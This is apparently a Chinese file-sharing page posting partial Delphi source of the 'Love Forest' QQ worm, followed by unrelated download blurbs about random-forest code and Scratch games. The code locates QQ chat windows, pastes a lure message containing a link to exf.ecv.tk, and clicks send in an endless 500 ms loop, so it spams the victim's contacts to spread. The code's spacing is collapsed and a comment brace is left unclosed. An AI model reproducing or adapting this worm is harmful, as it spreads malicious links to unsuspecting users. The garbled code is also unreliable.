爱情森林病毒部分源代码,有空学习学习,善与恶的距离只有一步,用的对了就是善良的。
unitqqworm;
interface
uses
Windows,Messages,SysUtils,Variants,Classes,Graphics,Controls,forms,
Dialogs,StdCtrls,ExtCtrls,ComCtrls;
private
...{Privatedeclarations}
procedureMySendMessage;
procedureMyTalkEach;
public
procedureQQStart;
...{Publicdeclarations}
end;
implementation
...{$R*.dfm}
procedureMySendMessage;
var
hParent,hButton,hMemo,clp:HWND;
texta:TCustomEdit;
begin
texta:='btw...给你一个惊喜——exf.ecv.tk';
texta.CopyToClipBoard;
try
//找发送消息的QQ窗口
hParent:=FindWindow(nil,'发送消息');
//然后找回话时用的编辑窗口,Point函数用于返回一个TPoint类型变量
hMemo:=ChildWindowFromPointEx(hParent,Point(50,100),CWP_ALL);
//找到“送讯息”按钮的句柄
hButton:=FindWindowEx(hParent,0,nil,'送讯息(&S)');
if(hParent=0)or(hMemo=0)or(hButton=0)then
...{MessageBox(Handle,'没有找到发送窗口,请重试!','错误',MB_ICONWARNING)}
MyTalkEach
else
begin
//向发送消息中的回话编辑框发送粘贴消息
SendMessage(hMemo,WM_PASTE,0,0);
//向“送讯息”按钮送单击消息以模仿按键发送回话
SendMessage(hButton,BM_CLICK,0,0);
end;
except
//如果发生意外错误给出提示
MyTalkEach;
...{MessageBox(Handle,'发送消息出错,请重试!','错误',MB_ICONWARNING);
end;
end;
procedureMyTalkEach;
var
hParent,hButton,hMemo:HWND;
texta:TCustomEdit;
begin
texta:='btw...给你一个惊喜——exf.ecv.tk';
texta.CopyToClipBoard;
try
//找对话模式中窗口
//ShowMessage('test');
hParent:=FindWindow(nil,'对话模式');
//找到对话模式中的回话编辑框
hMemo:=ChildWindowFromPointEx(hParent,Point(50,300),
CWP_ALL);
hButton:=FindWindowEx(hParent,0,nil,'送讯息(&S)');
//如果有任何一个句柄没有找到都不能完成发送,并给出提示
//ifhMemo=0then
//ShowMessage('1');
if(hParent=0)or(hMemo=0)or(hButton=0)thenbegin
...{MessageBox(Handle,'没有找到发送窗口,请切换到双人对话模式!','错误',
MB_ICONWARNING);}
MySendMessage;
//ShowMessage('go');
end
else
begin
//向对话模式中的回话编辑框发送粘贴消息
SendMessage(hMemo,WM_PASTE,0,0);
//向“送讯息”按钮送单击消息以模仿按键发送回话
SendMessage(hButton,BM_CLICK,0,0);
end;
except
//如果发生意外错误给出提示
MySendMessage;
...{MessageBox(Handle,'发送消息出错,请重试!','错误',
MB_ICONWARNING);}
end;
end;
procedureQQStart;
var
k:integer;
Begin
k:=0;
whilek=0do
Begin
Sleep(500);
MySendMessage;
End;
分享到:
相关推荐
国外的基于随机森林思想的分类和回归算法,调试通过
代码 随机森林应用于分类问题代码代码 随机森林应用于分类问题代码代码 随机森林应用于分类问题代码代码 随机森林应用于分类问题代码代码 随机森林应用于分类问题代码代码 随机森林应用于分类问题代码代码 随机森林...
仿 蚂蚁森林 app网页游戏源代码.zip
(完整版)元胞自动机-森林火灾模型MATLAB代码.pdf(完整版)元胞自动机-森林火灾模型MATLAB代码.pdf(完整版)元胞自动机-森林火灾模型MATLAB代码.pdf(完整版)元胞自动机-森林火灾模型MATLAB代码.pdf(完整版)元胞自动机-...
随机森林案例,一个经典的对花分类的源代码,可供初学者参考学习。
森林历险记.zipscratch2.0 3.0编程项目源文件源码经典游戏案例素材源代码森林历险记.zipscratch2.0 3.0编程项目源文件源码经典游戏案例素材源代码森林历险记.zipscratch2.0 3.0编程项目源文件源码经典游戏案例素材源...
分享了森林优化算法Forest Optimization Algorithm源代码及其原文,更多算法可进入空间查看
2--[森林迷宫].zip源码scratch2.0 3.0编程项目源文件源码案例素材源代码2--[森林迷宫].zip源码scratch2.0 3.0编程项目源文件源码案例素材源代码2--[森林迷宫].zip源码scratch2.0 3.0编程项目源文件源码案例素材源...
我国现有森林面积有2.08亿公顷,每年发生数千起森林火灾,造成的财产损失高达几个亿。如果我们能够利用可以自主巡航的无人机24小时不间断地对森林进行火灾...这样可以节省很大一部分人力物力,同时也能够减少财产损失。
本文件包括随机森林的代码实现和相应的数据集,以及详尽的中文注释,已调试通过。代码有两份,一份是在网上下载的,另一份是自己整理后编写的。编程环境为Python2.7。因为只是用来学习随机森林算法,所以在调参方法...
根据随机森林的原理实现的matlab代码,里面有非常详细的注释,几乎每行都有,针对分类问题,可以运行,可以根据需要,修改到自己的算法中。
Python随机森林分类器代码实现
代码 随机森林应用于分类问题 代码代码 随机森林应用于分类问题 代码代码 随机森林应用于分类问题 代码代码 随机森林应用于分类问题 代码代码 随机森林应用于分类问题 代码代码 随机森林应用于分类问题 代码代码 ...
基于GEE平台,landsat影像的随机森立法土地覆盖分类
scratch编程项目源代码文件案例素材-森林舞会真动感.zip
森林迷宫-少儿编程scratch项目源代码文件案例素材.zip
少儿scratch编程项目源代码文件案例素材-森林历险记.zip
matlab源代码利用随机森林算法对图像特征分类.zip
elasticsearch_5.3.0源代码,可以导入到eclipse中进行源代码阅读。
本代码含随机森林的分类、回归代码,代码功能相当全面,性能良好,能够支撑项目开发和科研需要。---------